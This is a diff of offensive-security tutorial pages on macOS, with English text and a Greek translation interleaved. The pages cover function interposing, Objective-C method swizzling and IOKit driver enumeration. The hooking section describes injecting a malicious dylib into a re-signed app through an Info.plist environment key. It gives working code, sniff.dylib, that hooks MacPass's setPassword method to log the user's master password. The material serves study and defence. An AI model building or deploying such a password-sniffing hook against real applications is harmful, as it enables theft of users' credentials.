Το macOS είναι **πολύ περιοριστικό για τη φόρτωση Επεκτάσεων Πυρήνα** (.kext) λόγω των υψηλών προνομίων με τα οποία θα εκτελείται ο κώδικας. Στην πραγματικότητα, από προεπιλογή είναι σχεδόν αδύνατο (εκτός αν βρεθεί μια παράκαμψη).
In the following page you can also see how to recover the `.kext` that macOS loads inside its **kernelcache**:
Στην επόμενη σελίδα μπορείτε επίσης να δείτε πώς να ανακτήσετε το `.kext` που φορτώνει το macOS μέσα στο **kernelcache** του:
{{#ref}}
macos-kernel-extensions.md
@ -57,7 +57,7 @@ macos-kernel-extensions.md
### macOS System Extensions
Instead of using Kernel Extensions macOS created the System Extensions, which offers in user level APIs to interact with the kernel. This way, developers can avoid to use kernel extensions.
Αντί να χρησιμοποιεί Επεκτάσεις Πυρήνα, το macOS δημιούργησε τις Επεκτάσεις Συστήματος, οι οποίες προσφέρουν APIs επιπέδου χρήστη για αλληλεπίδραση με τον πυρήνα. Με αυτόν τον τρόπο, οι προγραμματιστές μπορούν να αποφύγουν τη χρήση επεκτάσεων πυρήνα.
{{#ref}}
macos-system-extensions.md

View File

@ -4,52 +4,47 @@
## Function Interposing
Create a **dylib** with an **`__interpose`** section (or a section flagged with **`S_INTERPOSING`**) containing tuples of **function pointers** that refer to the **original** and the **replacement** functions.
Δημιουργήστε ένα **dylib** με μια ενότητα **`__interpose`** (ή μια ενότητα με σημαία **`S_INTERPOSING`**) που περιέχει ζεύγη **δείκτες συναρτήσεων** που αναφέρονται στις **αρχικές** και **αντικαταστάσιμες** συναρτήσεις.
Then, **inject** the dylib with **`DYLD_INSERT_LIBRARIES`** (the interposing needs occur before the main app loads). Obviously the [**restrictions** applied to the use of **`DYLD_INSERT_LIBRARIES`** applies here also](../macos-proces-abuse/macos-library-injection/#check-restrictions).&#x20;
Στη συνέχεια, **εισάγετε** το dylib με **`DYLD_INSERT_LIBRARIES`** (η διαμεσολάβηση πρέπει να συμβαίνει πριν φορτωθεί η κύρια εφαρμογή). Προφανώς, οι [**περιορισμοί** που εφαρμόζονται στη χρήση του **`DYLD_INSERT_LIBRARIES`** ισχύουν και εδώ](../macos-proces-abuse/macos-library-injection/#check-restrictions).&#x20;
### Interpose printf
{{#tabs}}
{{#tab name="interpose.c"}}
```c:interpose.c
// gcc -dynamiclib interpose.c -o interpose.dylib
#include <stdio.h>
#include <stdarg.h>
int my_printf(const char *format, ...) {
//va_list args;
//va_start(args, format);
//int ret = vprintf(format, args);
//va_end(args);
//va_list args;
//va_start(args, format);
//int ret = vprintf(format, args);
//va_end(args);
int ret = printf("Hello from interpose\n");
return ret;
int ret = printf("Hello from interpose\n");
return ret;
}
__attribute__((used)) static struct { const void *replacement; const void *replacee; } _interpose_printf
__attribute__ ((section ("__DATA,__interpose"))) = { (const void *)(unsigned long)&my_printf, (const void *)(unsigned long)&printf };
```
{{#endtab}}
{{#tab name="hello.c"}}
```c
//gcc hello.c -o hello
#include <stdio.h>
int main() {
printf("Hello World!\n");
return 0;
printf("Hello World!\n");
return 0;
}
```
{{#endtab}}
{{#tab name="interpose2.c"}}
```c
// Just another way to define an interpose
// gcc -dynamiclib interpose2.c -o interpose2.dylib
@ -57,26 +52,24 @@ int main() {
#include <stdio.h>
#define DYLD_INTERPOSE(_replacement, _replacee) \
__attribute__((used)) static struct { \
const void* replacement; \
const void* replacee; \
} _interpose_##_replacee __attribute__ ((section("__DATA, __interpose"))) = { \
(const void*) (unsigned long) &_replacement, \
(const void*) (unsigned long) &_replacee \
};
__attribute__((used)) static struct { \
const void* replacement; \
const void* replacee; \
} _interpose_##_replacee __attribute__ ((section("__DATA, __interpose"))) = { \
(const void*) (unsigned long) &_replacement, \
(const void*) (unsigned long) &_replacee \
};
int my_printf(const char *format, ...)
{
int ret = printf("Hello from interpose\n");
return ret;
int ret = printf("Hello from interpose\n");
return ret;
}
DYLD_INTERPOSE(my_printf,printf);
```
{{#endtab}}
{{#endtabs}}
```bash
DYLD_INSERT_LIBRARIES=./interpose.dylib ./hello
Hello from interpose
@ -84,24 +77,22 @@ Hello from interpose
DYLD_INSERT_LIBRARIES=./interpose2.dylib ./hello
Hello from interpose
```
## Method Swizzling
In ObjectiveC this is how a method is called like: **`[myClassInstance nameOfTheMethodFirstParam:param1 secondParam:param2]`**
Στην ObjectiveC, έτσι καλείται μια μέθοδος: **`[myClassInstance nameOfTheMethodFirstParam:param1 secondParam:param2]`**
It's needed the **object**, the **method** and the **params**. And when a method is called a **msg is sent** using the function **`objc_msgSend`**: `int i = ((int (*)(id, SEL, NSString *, NSString *))objc_msgSend)(someObject, @selector(method1p1:p2:), value1, value2);`
Απαιτείται το **αντικείμενο**, η **μέθοδος** και οι **παράμετροι**. Και όταν καλείται μια μέθοδος, αποστέλλεται ένα **msg** χρησιμοποιώντας τη συνάρτηση **`objc_msgSend`**: `int i = ((int (*)(id, SEL, NSString *, NSString *))objc_msgSend)(someObject, @selector(method1p1:p2:), value1, value2);`
The object is **`someObject`**, the method is **`@selector(method1p1:p2:)`** and the arguments are **value1**, **value2**.
Το αντικείμενο είναι **`someObject`**, η μέθοδος είναι **`@selector(method1p1:p2:)`** και οι παράμετροι είναι **value1**, **value2**.
Following the object structures, it's possible to reach an **array of methods** where the **names** and **pointers** to the method code are **located**.
Ακολουθώντας τις δομές αντικειμένων, είναι δυνατή η πρόσβαση σε ένα **πίνακα μεθόδων** όπου οι **ονόματα** και οι **δείκτες** στον κώδικα της μεθόδου είναι **τοποθετημένοι**.
> [!CAUTION]
> Note that because methods and classes are accessed based on their names, this information is store in the binary, so it's possible to retrieve it with `otool -ov </path/bin>` or [`class-dump </path/bin>`](https://github.com/nygard/class-dump)
> Σημειώστε ότι επειδή οι μέθοδοι και οι κλάσεις προσπελάζονται με βάση τα ονόματά τους, αυτές οι πληροφορίες αποθηκεύονται στο δυαδικό αρχείο, επομένως είναι δυνατή η ανάκτησή τους με `otool -ov </path/bin>` ή [`class-dump </path/bin>`](https://github.com/nygard/class-dump)
### Accessing the raw methods
It's possible to access the information of the methods such as name, number of params or address like in the following example:
Είναι δυνατή η πρόσβαση στις πληροφορίες των μεθόδων όπως το όνομα, ο αριθμός παραμέτρων ή η διεύθυνση όπως στο παρακάτω παράδειγμα:
```objectivec
// gcc -framework Foundation test.m -o test
@ -110,71 +101,69 @@ It's possible to access the information of the methods such as name, number of p
#import <objc/message.h>
int main() {
// Get class of the variable
NSString* str = @"This is an example";
Class strClass = [str class];
NSLog(@"str's Class name: %s", class_getName(strClass));
// Get class of the variable
NSString* str = @"This is an example";
Class strClass = [str class];
NSLog(@"str's Class name: %s", class_getName(strClass));
// Get parent class of a class
Class strSuper = class_getSuperclass(strClass);
NSLog(@"Superclass name: %@",NSStringFromClass(strSuper));
// Get parent class of a class
Class strSuper = class_getSuperclass(strClass);
NSLog(@"Superclass name: %@",NSStringFromClass(strSuper));
// Get information about a method
SEL sel = @selector(length);
NSLog(@"Selector name: %@", NSStringFromSelector(sel));
Method m = class_getInstanceMethod(strClass,sel);
NSLog(@"Number of arguments: %d", method_getNumberOfArguments(m));
NSLog(@"Implementation address: 0x%lx", (unsigned long)method_getImplementation(m));
// Get information about a method
SEL sel = @selector(length);
NSLog(@"Selector name: %@", NSStringFromSelector(sel));
Method m = class_getInstanceMethod(strClass,sel);
NSLog(@"Number of arguments: %d", method_getNumberOfArguments(m));
NSLog(@"Implementation address: 0x%lx", (unsigned long)method_getImplementation(m));
// Iterate through the class hierarchy
NSLog(@"Listing methods:");
Class currentClass = strClass;
while (currentClass != NULL) {
unsigned int inheritedMethodCount = 0;
Method* inheritedMethods = class_copyMethodList(currentClass, &inheritedMethodCount);
// Iterate through the class hierarchy
NSLog(@"Listing methods:");
Class currentClass = strClass;
while (currentClass != NULL) {
unsigned int inheritedMethodCount = 0;
Method* inheritedMethods = class_copyMethodList(currentClass, &inheritedMethodCount);
NSLog(@"Number of inherited methods in %s: %u", class_getName(currentClass), inheritedMethodCount);
NSLog(@"Number of inherited methods in %s: %u", class_getName(currentClass), inheritedMethodCount);
for (unsigned int i = 0; i < inheritedMethodCount; i++) {
Method method = inheritedMethods[i];
SEL selector = method_getName(method);
const char* methodName = sel_getName(selector);
unsigned long address = (unsigned long)method_getImplementation(m);
NSLog(@"Inherited method name: %s (0x%lx)", methodName, address);
}
for (unsigned int i = 0; i < inheritedMethodCount; i++) {
Method method = inheritedMethods[i];
SEL selector = method_getName(method);
const char* methodName = sel_getName(selector);
unsigned long address = (unsigned long)method_getImplementation(m);
NSLog(@"Inherited method name: %s (0x%lx)", methodName, address);
}
// Free the memory allocated by class_copyMethodList
free(inheritedMethods);
currentClass = class_getSuperclass(currentClass);
}
// Free the memory allocated by class_copyMethodList
free(inheritedMethods);
currentClass = class_getSuperclass(currentClass);
}
// Other ways to call uppercaseString method
if([str respondsToSelector:@selector(uppercaseString)]) {
NSString *uppercaseString = [str performSelector:@selector(uppercaseString)];
NSLog(@"Uppercase string: %@", uppercaseString);
}
// Other ways to call uppercaseString method
if([str respondsToSelector:@selector(uppercaseString)]) {
NSString *uppercaseString = [str performSelector:@selector(uppercaseString)];
NSLog(@"Uppercase string: %@", uppercaseString);
}
// Using objc_msgSend directly
NSString *uppercaseString2 = ((NSString *(*)(id, SEL))objc_msgSend)(str, @selector(uppercaseString));
NSLog(@"Uppercase string: %@", uppercaseString2);
// Using objc_msgSend directly
NSString *uppercaseString2 = ((NSString *(*)(id, SEL))objc_msgSend)(str, @selector(uppercaseString));
NSLog(@"Uppercase string: %@", uppercaseString2);
// Calling the address directly
IMP imp = method_getImplementation(class_getInstanceMethod(strClass, @selector(uppercaseString))); // Get the function address
NSString *(*callImp)(id,SEL) = (typeof(callImp))imp; // Generates a function capable to method from imp
NSString *uppercaseString3 = callImp(str,@selector(uppercaseString)); // Call the method
NSLog(@"Uppercase string: %@", uppercaseString3);
// Calling the address directly
IMP imp = method_getImplementation(class_getInstanceMethod(strClass, @selector(uppercaseString))); // Get the function address
NSString *(*callImp)(id,SEL) = (typeof(callImp))imp; // Generates a function capable to method from imp
NSString *uppercaseString3 = callImp(str,@selector(uppercaseString)); // Call the method
NSLog(@"Uppercase string: %@", uppercaseString3);
return 0;
return 0;
}
```
### Μέθοδος Swizzling με method_exchangeImplementations
### Method Swizzling with method_exchangeImplementations
The function **`method_exchangeImplementations`** allows to **change** the **address** of the **implementation** of **one function for the other**.
Η συνάρτηση **`method_exchangeImplementations`** επιτρέπει να **αλλάξει** η **διεύθυνση** της **υλοποίησης** **μιας συνάρτησης με την άλλη**.
> [!CAUTION]
> So when a function is called what is **executed is the other one**.
> Έτσι, όταν καλείται μια συνάρτηση, αυτό που **εκτελείται είναι η άλλη**.
```objectivec
//gcc -framework Foundation swizzle_str.m -o swizzle_str
@ -192,44 +181,42 @@ The function **`method_exchangeImplementations`** allows to **change** the **add
@implementation NSString (SwizzleString)
- (NSString *)swizzledSubstringFromIndex:(NSUInteger)from {
NSLog(@"Custom implementation of substringFromIndex:");
NSLog(@"Custom implementation of substringFromIndex:");
// Call the original method
return [self swizzledSubstringFromIndex:from];
// Call the original method
return [self swizzledSubstringFromIndex:from];
}
@end
int main(int argc, const char * argv[]) {
// Perform method swizzling
Method originalMethod = class_getInstanceMethod([NSString class], @selector(substringFromIndex:));
Method swizzledMethod = class_getInstanceMethod([NSString class], @selector(swizzledSubstringFromIndex:));
method_exchangeImplementations(originalMethod, swizzledMethod);
// Perform method swizzling
Method originalMethod = class_getInstanceMethod([NSString class], @selector(substringFromIndex:));
Method swizzledMethod = class_getInstanceMethod([NSString class], @selector(swizzledSubstringFromIndex:));
method_exchangeImplementations(originalMethod, swizzledMethod);
// We changed the address of one method for the other
// Now when the method substringFromIndex is called, what is really called is swizzledSubstringFromIndex
// And when swizzledSubstringFromIndex is called, substringFromIndex is really colled
// We changed the address of one method for the other
// Now when the method substringFromIndex is called, what is really called is swizzledSubstringFromIndex
// And when swizzledSubstringFromIndex is called, substringFromIndex is really colled
// Example usage
NSString *myString = @"Hello, World!";
NSString *subString = [myString substringFromIndex:7];
NSLog(@"Substring: %@", subString);
// Example usage
NSString *myString = @"Hello, World!";
NSString *subString = [myString substringFromIndex:7];
NSLog(@"Substring: %@", subString);
return 0;
return 0;
}
```
> [!WARNING]
> In this case if the **implementation code of the legit** method **verifies** the **method** **name** it could **detect** this swizzling and prevent it from running.
> Σε αυτή την περίπτωση, αν ο **κωδικός υλοποίησης της νόμιμης** μεθόδου **επαληθεύει** το **όνομα** της **μεθόδου**, θα μπορούσε να **ανιχνεύσει** αυτή τη swizzling και να την αποτρέψει από το να εκτελεστεί.
>
> The following technique doesn't have this restriction.
> Η παρακάτω τεχνική δεν έχει αυτόν τον περιορισμό.
### Method Swizzling with method_setImplementation
The previous format is weird because you are changing the implementation of 2 methods one from the other. Using the function **`method_setImplementation`** you can **change** the **implementation** of a **method for the other one**.
Just remember to **store the address of the implementation of the original one** if you are going to to call it from the new implementation before overwriting it because later it will be much complicated to locate that address.
Η προηγούμενη μορφή είναι περίεργη γιατί αλλάζετε την υλοποίηση 2 μεθόδων η μία από την άλλη. Χρησιμοποιώντας τη συνάρτηση **`method_setImplementation`** μπορείτε να **αλλάξετε** την **υλοποίηση** μιας **μεθόδου για την άλλη**.
Απλά θυμηθείτε να **αποθηκεύσετε τη διεύθυνση της υλοποίησης της αρχικής** αν σκοπεύετε να την καλέσετε από τη νέα υλοποίηση πριν την αντικαταστήσετε, γιατί αργότερα θα είναι πολύ πιο δύσκολο να εντοπίσετε αυτή τη διεύθυνση.
```objectivec
#import <Foundation/Foundation.h>
#import <objc/runtime.h>
@ -246,75 +233,69 @@ static IMP original_substringFromIndex = NULL;
@implementation NSString (Swizzlestring)
- (NSString *)swizzledSubstringFromIndex:(NSUInteger)from {
NSLog(@"Custom implementation of substringFromIndex:");
NSLog(@"Custom implementation of substringFromIndex:");
// Call the original implementation using objc_msgSendSuper
return ((NSString *(*)(id, SEL, NSUInteger))original_substringFromIndex)(self, _cmd, from);
// Call the original implementation using objc_msgSendSuper
return ((NSString *(*)(id, SEL, NSUInteger))original_substringFromIndex)(self, _cmd, from);
}
@end
int main(int argc, const char * argv[]) {
@autoreleasepool {
// Get the class of the target method
Class stringClass = [NSString class];
@autoreleasepool {
// Get the class of the target method
Class stringClass = [NSString class];
// Get the swizzled and original methods
Method originalMethod = class_getInstanceMethod(stringClass, @selector(substringFromIndex:));
// Get the swizzled and original methods
Method originalMethod = class_getInstanceMethod(stringClass, @selector(substringFromIndex:));
// Get the function pointer to the swizzled method's implementation
IMP swizzledIMP = method_getImplementation(class_getInstanceMethod(stringClass, @selector(swizzledSubstringFromIndex:)));
// Get the function pointer to the swizzled method's implementation
IMP swizzledIMP = method_getImplementation(class_getInstanceMethod(stringClass, @selector(swizzledSubstringFromIndex:)));
// Swap the implementations
// It return the now overwritten implementation of the original method to store it
original_substringFromIndex = method_setImplementation(originalMethod, swizzledIMP);
// Swap the implementations
// It return the now overwritten implementation of the original method to store it
original_substringFromIndex = method_setImplementation(originalMethod, swizzledIMP);
// Example usage
NSString *myString = @"Hello, World!";
NSString *subString = [myString substringFromIndex:7];
NSLog(@"Substring: %@", subString);
// Example usage
NSString *myString = @"Hello, World!";
NSString *subString = [myString substringFromIndex:7];
NSLog(@"Substring: %@", subString);
// Set the original implementation back
method_setImplementation(originalMethod, original_substringFromIndex);
// Set the original implementation back
method_setImplementation(originalMethod, original_substringFromIndex);
return 0;
}
return 0;
}
}
```
## Hooking Attack Methodology
In this page different ways to hook functions were discussed. However, they involved **running code inside the process to attack**.
Σε αυτή τη σελίδα συζητήθηκαν διάφοροι τρόποι για να γίνει hook σε συναρτήσεις. Ωστόσο, περιλάμβαναν **την εκτέλεση κώδικα μέσα στη διαδικασία για επίθεση**.
In order to do that the easiest technique to use is to inject a [Dyld via environment variables or hijacking](../macos-dyld-hijacking-and-dyld_insert_libraries.md). However, I guess this could also be done via [Dylib process injection](macos-ipc-inter-process-communication/#dylib-process-injection-via-task-port).
Για να το κάνετε αυτό, η πιο εύκολη τεχνική που μπορείτε να χρησιμοποιήσετε είναι να εισάγετε ένα [Dyld μέσω μεταβλητών περιβάλλοντος ή hijacking](../macos-dyld-hijacking-and-dyld_insert_libraries.md). Ωστόσο, υποθέτω ότι αυτό θα μπορούσε επίσης να γίνει μέσω [Dylib process injection](macos-ipc-inter-process-communication/#dylib-process-injection-via-task-port).
However, both options are **limited** to **unprotected** binaries/processes. Check each technique to learn more about the limitations.
Ωστόσο, και οι δύο επιλογές είναι **περιορισμένες** σε **μη προστατευμένα** δυαδικά/διαδικασίες. Ελέγξτε κάθε τεχνική για να μάθετε περισσότερα σχετικά με τους περιορισμούς.
However, a function hooking attack is very specific, an attacker will do this to **steal sensitive information from inside a process** (if not you would just do a process injection attack). And this sensitive information might be located in user downloaded Apps such as MacPass.
So the attacker vector would be to either find a vulnerability or strip the signature of the application, inject the **`DYLD_INSERT_LIBRARIES`** env variable through the Info.plist of the application adding something like:
Ωστόσο, μια επίθεση hooking function είναι πολύ συγκεκριμένη, ένας επιτιθέμενος θα το κάνει αυτό για να **κλέψει ευαίσθητες πληροφορίες από μέσα σε μια διαδικασία** (αν όχι, θα κάνατε απλώς μια επίθεση injection διαδικασίας). Και αυτές οι ευαίσθητες πληροφορίες μπορεί να βρίσκονται σε εφαρμογές που έχει κατεβάσει ο χρήστης, όπως το MacPass.
Έτσι, το vector του επιτιθέμενου θα ήταν είτε να βρει μια ευπάθεια είτε να αφαιρέσει την υπογραφή της εφαρμογής, εισάγοντας τη μεταβλητή περιβάλλοντος **`DYLD_INSERT_LIBRARIES`** μέσω του Info.plist της εφαρμογής προσθέτοντας κάτι όπως:
```xml
<key>LSEnvironment</key>
<dict>
<key>DYLD_INSERT_LIBRARIES</key>
<string>/Applications/Application.app/Contents/malicious.dylib</string>
<key>DYLD_INSERT_LIBRARIES</key>
<string>/Applications/Application.app/Contents/malicious.dylib</string>
</dict>
```
and then **re-register** the application:
και στη συνέχεια **επανακαταχωρήστε** την εφαρμογή:
```bash
/System/Library/Frameworks/CoreServices.framework/Frameworks/LaunchServices.framework/Support/lsregister -f /Applications/Application.app
```
Add in that library the hooking code to exfiltrate the information: Passwords, messages...
Προσθέστε στον κατάλογο αυτήν τον κώδικα hooking για να εξάγετε τις πληροφορίες: Κωδικούς πρόσβασης, μηνύματα...
> [!CAUTION]
> Note that in newer versions of macOS if you **strip the signature** of the application binary and it was previously executed, macOS **won't be executing the application** anymore.
#### Library example
> Σημειώστε ότι σε νεότερες εκδόσεις του macOS, αν **αφαιρέσετε την υπογραφή** του δυαδικού αρχείου της εφαρμογής και αυτή είχε εκτελεστεί προηγουμένως, το macOS **δεν θα εκτελεί την εφαρμογή** πια.
#### Παράδειγμα βιβλιοθήκης
```objectivec
// gcc -dynamiclib -framework Foundation sniff.m -o sniff.dylib
@ -331,27 +312,26 @@ static IMP real_setPassword = NULL;
static BOOL custom_setPassword(id self, SEL _cmd, NSString* password, NSURL* keyFileURL)
{
// Function that will log the password and call the original setPassword(pass, file_path) method
NSLog(@"[+] Password is: %@", password);
// Function that will log the password and call the original setPassword(pass, file_path) method
NSLog(@"[+] Password is: %@", password);
// After logging the password call the original method so nothing breaks.
return ((BOOL (*)(id,SEL,NSString*, NSURL*))real_setPassword)(self, _cmd, password, keyFileURL);
// After logging the password call the original method so nothing breaks.
return ((BOOL (*)(id,SEL,NSString*, NSURL*))real_setPassword)(self, _cmd, password, keyFileURL);
}
// Library constructor to execute
__attribute__((constructor))
static void customConstructor(int argc, const char **argv) {
// Get the real method address to not lose it
Class classMPDocument = NSClassFromString(@"MPDocument");
Method real_Method = class_getInstanceMethod(classMPDocument, @selector(setPassword:keyFileURL:));
// Get the real method address to not lose it
Class classMPDocument = NSClassFromString(@"MPDocument");
Method real_Method = class_getInstanceMethod(classMPDocument, @selector(setPassword:keyFileURL:));
// Make the original method setPassword call the fake implementation one
IMP fake_IMP = (IMP)custom_setPassword;
real_setPassword = method_setImplementation(real_Method, fake_IMP);
// Make the original method setPassword call the fake implementation one
IMP fake_IMP = (IMP)custom_setPassword;
real_setPassword = method_setImplementation(real_Method, fake_IMP);
}
```
## References
## Αναφορές
- [https://nshipster.com/method-swizzling/](https://nshipster.com/method-swizzling/)

View File

@ -4,16 +4,15 @@
## Basic Information
The I/O Kit is an open-source, object-oriented **device-driver framework** in the XNU kernel, handles **dynamically loaded device drivers**. It allows modular code to be added to the kernel on-the-fly, supporting diverse hardware.
Το I/O Kit είναι ένα ανοιχτού κώδικα, αντικειμενοστραφές **πλαίσιο οδηγών συσκευών** στον πυρήνα XNU, που διαχειρίζεται **δυναμικά φορτωμένους οδηγούς συσκευών**. Επιτρέπει την προσθήκη αρθρωτού κώδικα στον πυρήνα εν κινήσει, υποστηρίζοντας ποικιλία υλικού.
IOKit drivers will basically **export functions from the kernel**. These function parameter **types** are **predefined** and are verified. Moreover, similar to XPC, IOKit is just another layer on **top of Mach messages**.
Οι οδηγοί IOKit θα **εξάγουν βασικά συναρτήσεις από τον πυρήνα**. Οι παράμετροι **τύποι** αυτών των συναρτήσεων είναι **προκαθορισμένοι** και επαληθεύονται. Επιπλέον, παρόμοια με το XPC, το IOKit είναι απλώς ένα άλλο επίπεδο **πάνω από τα μηνύματα Mach**.
**IOKit XNU kernel code** is opensourced by Apple in [https://github.com/apple-oss-distributions/xnu/tree/main/iokit](https://github.com/apple-oss-distributions/xnu/tree/main/iokit). Moreover, the user space IOKit components are also opensource [https://github.com/opensource-apple/IOKitUser](https://github.com/opensource-apple/IOKitUser).
Ο **κώδικας IOKit XNU** είναι ανοιχτού κώδικα από την Apple στο [https://github.com/apple-oss-distributions/xnu/tree/main/iokit](https://github.com/apple-oss-distributions/xnu/tree/main/iokit). Επιπλέον, τα στοιχεία IOKit του χώρου χρηστών είναι επίσης ανοιχτού κώδικα [https://github.com/opensource-apple/IOKitUser](https://github.com/opensource-apple/IOKitUser).
However, **no IOKit drivers** are opensource. Anyway, from time to time a release of a driver might come with symbols that makes it easier to debug it. Check how to [**get the driver extensions from the firmware here**](./#ipsw)**.**
It's written in **C++**. You can get demangled C++ symbols with:
Ωστόσο, **κανένας οδηγός IOKit** δεν είναι ανοιχτού κώδικα. Ούτως ή άλλως, από καιρό σε καιρό μια έκδοση ενός οδηγού μπορεί να συνοδεύεται από σύμβολα που διευκολύνουν την αποσφαλμάτωσή του. Δείτε πώς να [**πάρετε τις επεκτάσεις οδηγών από το firmware εδώ**](./#ipsw)**.**
Είναι γραμμένο σε **C++**. Μπορείτε να αποκτήσετε αποσυμβολισμένα σύμβολα C++ με:
```bash
# Get demangled symbols
nm -C com.apple.driver.AppleJPEGDriver
@ -23,210 +22,193 @@ c++filt
__ZN16IOUserClient202222dispatchExternalMethodEjP31IOExternalMethodArgumentsOpaquePK28IOExternalMethodDispatch2022mP8OSObjectPv
IOUserClient2022::dispatchExternalMethod(unsigned int, IOExternalMethodArgumentsOpaque*, IOExternalMethodDispatch2022 const*, unsigned long, OSObject*, void*)
```
> [!CAUTION]
> IOKit **exposed functions** could perform **additional security checks** when a client tries to call a function but note that the apps are usually **limited** by the **sandbox** to which IOKit functions they can interact with.
> IOKit **εκτεθειμένες συναρτήσεις** θα μπορούσαν να εκτελούν **επιπλέον ελέγχους ασφαλείας** όταν ένας πελάτης προσπαθεί να καλέσει μια συνάρτηση, αλλά σημειώστε ότι οι εφαρμογές είναι συνήθως **περιορισμένες** από το **sandbox** με το οποίο μπορούν να αλληλεπιδρούν οι συναρτήσεις IOKit.
## Drivers
## Οδηγοί
In macOS they are located in:
Στο macOS βρίσκονται σε:
- **`/System/Library/Extensions`**
- KEXT files built into the OS X operating system.
- Αρχεία KEXT ενσωματωμένα στο λειτουργικό σύστημα OS X.
- **`/Library/Extensions`**
- KEXT files installed by 3rd party software
- Αρχεία KEXT που εγκαθίστανται από λογισμικό τρίτων
In iOS they are located in:
Στο iOS βρίσκονται σε:
- **`/System/Library/Extensions`**
```bash
#Use kextstat to print the loaded drivers
kextstat
Executing: /usr/bin/kmutil showloaded
No variant specified, falling back to release
Index Refs Address Size Wired Name (Version) UUID <Linked Against>
1 142 0 0 0 com.apple.kpi.bsd (20.5.0) 52A1E876-863E-38E3-AC80-09BBAB13B752 <>
2 11 0 0 0 com.apple.kpi.dsep (20.5.0) 52A1E876-863E-38E3-AC80-09BBAB13B752 <>
3 170 0 0 0 com.apple.kpi.iokit (20.5.0) 52A1E876-863E-38E3-AC80-09BBAB13B752 <>
4 0 0 0 0 com.apple.kpi.kasan (20.5.0) 52A1E876-863E-38E3-AC80-09BBAB13B752 <>
5 175 0 0 0 com.apple.kpi.libkern (20.5.0) 52A1E876-863E-38E3-AC80-09BBAB13B752 <>
6 154 0 0 0 com.apple.kpi.mach (20.5.0) 52A1E876-863E-38E3-AC80-09BBAB13B752 <>
7 88 0 0 0 com.apple.kpi.private (20.5.0) 52A1E876-863E-38E3-AC80-09BBAB13B752 <>
8 106 0 0 0 com.apple.kpi.unsupported (20.5.0) 52A1E876-863E-38E3-AC80-09BBAB13B752 <>
9 2 0xffffff8003317000 0xe000 0xe000 com.apple.kec.Libm (1) 6C1342CC-1D74-3D0F-BC43-97D5AD38200A <5>
10 12 0xffffff8003544000 0x92000 0x92000 com.apple.kec.corecrypto (11.1) F5F1255F-6552-3CF4-A9DB-D60EFDEB4A9A <8 7 6 5 3 1>
1 142 0 0 0 com.apple.kpi.bsd (20.5.0) 52A1E876-863E-38E3-AC80-09BBAB13B752 <>
2 11 0 0 0 com.apple.kpi.dsep (20.5.0) 52A1E876-863E-38E3-AC80-09BBAB13B752 <>
3 170 0 0 0 com.apple.kpi.iokit (20.5.0) 52A1E876-863E-38E3-AC80-09BBAB13B752 <>
4 0 0 0 0 com.apple.kpi.kasan (20.5.0) 52A1E876-863E-38E3-AC80-09BBAB13B752 <>
5 175 0 0 0 com.apple.kpi.libkern (20.5.0) 52A1E876-863E-38E3-AC80-09BBAB13B752 <>
6 154 0 0 0 com.apple.kpi.mach (20.5.0) 52A1E876-863E-38E3-AC80-09BBAB13B752 <>
7 88 0 0 0 com.apple.kpi.private (20.5.0) 52A1E876-863E-38E3-AC80-09BBAB13B752 <>
8 106 0 0 0 com.apple.kpi.unsupported (20.5.0) 52A1E876-863E-38E3-AC80-09BBAB13B752 <>
9 2 0xffffff8003317000 0xe000 0xe000 com.apple.kec.Libm (1) 6C1342CC-1D74-3D0F-BC43-97D5AD38200A <5>
10 12 0xffffff8003544000 0x92000 0x92000 com.apple.kec.corecrypto (11.1) F5F1255F-6552-3CF4-A9DB-D60EFDEB4A9A <8 7 6 5 3 1>
```
Μέχρι τον αριθμό 9, οι αναφερόμενοι οδηγοί είναι **φορτωμένοι στη διεύθυνση 0**. Αυτό σημαίνει ότι αυτοί δεν είναι πραγματικοί οδηγοί αλλά **μέρος του πυρήνα και δεν μπορούν να αποφορτωθούν**.
Until the number 9 the listed drivers are **loaded in the address 0**. This means that those aren't real drivers but **part of the kernel and they cannot be unloaded**.
In order to find specific extensions you can use:
Για να βρείτε συγκεκριμένες επεκτάσεις, μπορείτε να χρησιμοποιήσετε:
```bash
kextfind -bundle-id com.apple.iokit.IOReportFamily #Search by full bundle-id
kextfind -bundle-id -substring IOR #Search by substring in bundle-id
```
To load and unload kernel extensions do:
Για να φορτώσετε και να ξεφορτώσετε επεκτάσεις πυρήνα, κάντε:
```bash
kextload com.apple.iokit.IOReportFamily
kextunload com.apple.iokit.IOReportFamily
```
## IORegistry
The **IORegistry** is a crucial part of the IOKit framework in macOS and iOS which serves as a database for representing the system's hardware configuration and state. It's a **hierarchical collection of objects that represent all the hardware and drivers** loaded on the system, and their relationships to each other.
You can get the IORegistry using the cli **`ioreg`** to inspect it from the console (specially useful for iOS).
Το **IORegistry** είναι ένα κρίσιμο μέρος του πλαισίου IOKit στο macOS και iOS που λειτουργεί ως βάση δεδομένων για την αναπαράσταση της υλικής διαμόρφωσης και κατάστασης του συστήματος. Είναι μια **ιεραρχική συλλογή αντικειμένων που αναπαριστούν όλο το υλικό και τους οδηγούς** που έχουν φορτωθεί στο σύστημα, καθώς και τις σχέσεις τους μεταξύ τους.
Μπορείτε να αποκτήσετε το IORegistry χρησιμοποιώντας το cli **`ioreg`** για να το επιθεωρήσετε από την κονσόλα (ιδιαίτερα χρήσιμο για το iOS).
```bash
ioreg -l #List all
ioreg -w 0 #Not cut lines
ioreg -p <plane> #Check other plane
```
You could download **`IORegistryExplorer`** from **Xcode Additional Tools** from [**https://developer.apple.com/download/all/**](https://developer.apple.com/download/all/) and inspect the **macOS IORegistry** through a **graphical** interface.
Μπορείτε να κατεβάσετε **`IORegistryExplorer`** από τα **Xcode Additional Tools** από [**https://developer.apple.com/download/all/**](https://developer.apple.com/download/all/) και να εξετάσετε το **macOS IORegistry** μέσω μιας **γραφικής** διεπαφής.
<figure><img src="../../../images/image (1167).png" alt="" width="563"><figcaption></figcaption></figure>
In IORegistryExplorer, "planes" are used to organize and display the relationships between different objects in the IORegistry. Each plane represents a specific type of relationship or a particular view of the system's hardware and driver configuration. Here are some of the common planes you might encounter in IORegistryExplorer:
Στο IORegistryExplorer, οι "planes" χρησιμοποιούνται για να οργανώσουν και να εμφανίσουν τις σχέσεις μεταξύ διαφορετικών αντικειμένων στο IORegistry. Κάθε plane αντιπροσωπεύει έναν συγκεκριμένο τύπο σχέσης ή μια συγκεκριμένη άποψη της υλικού και της διαμόρφωσης των οδηγών του συστήματος. Ακολουθούν μερικοί από τους κοινούς planes που μπορεί να συναντήσετε στο IORegistryExplorer:
1. **IOService Plane**: This is the most general plane, displaying the service objects that represent drivers and nubs (communication channels between drivers). It shows the provider-client relationships between these objects.
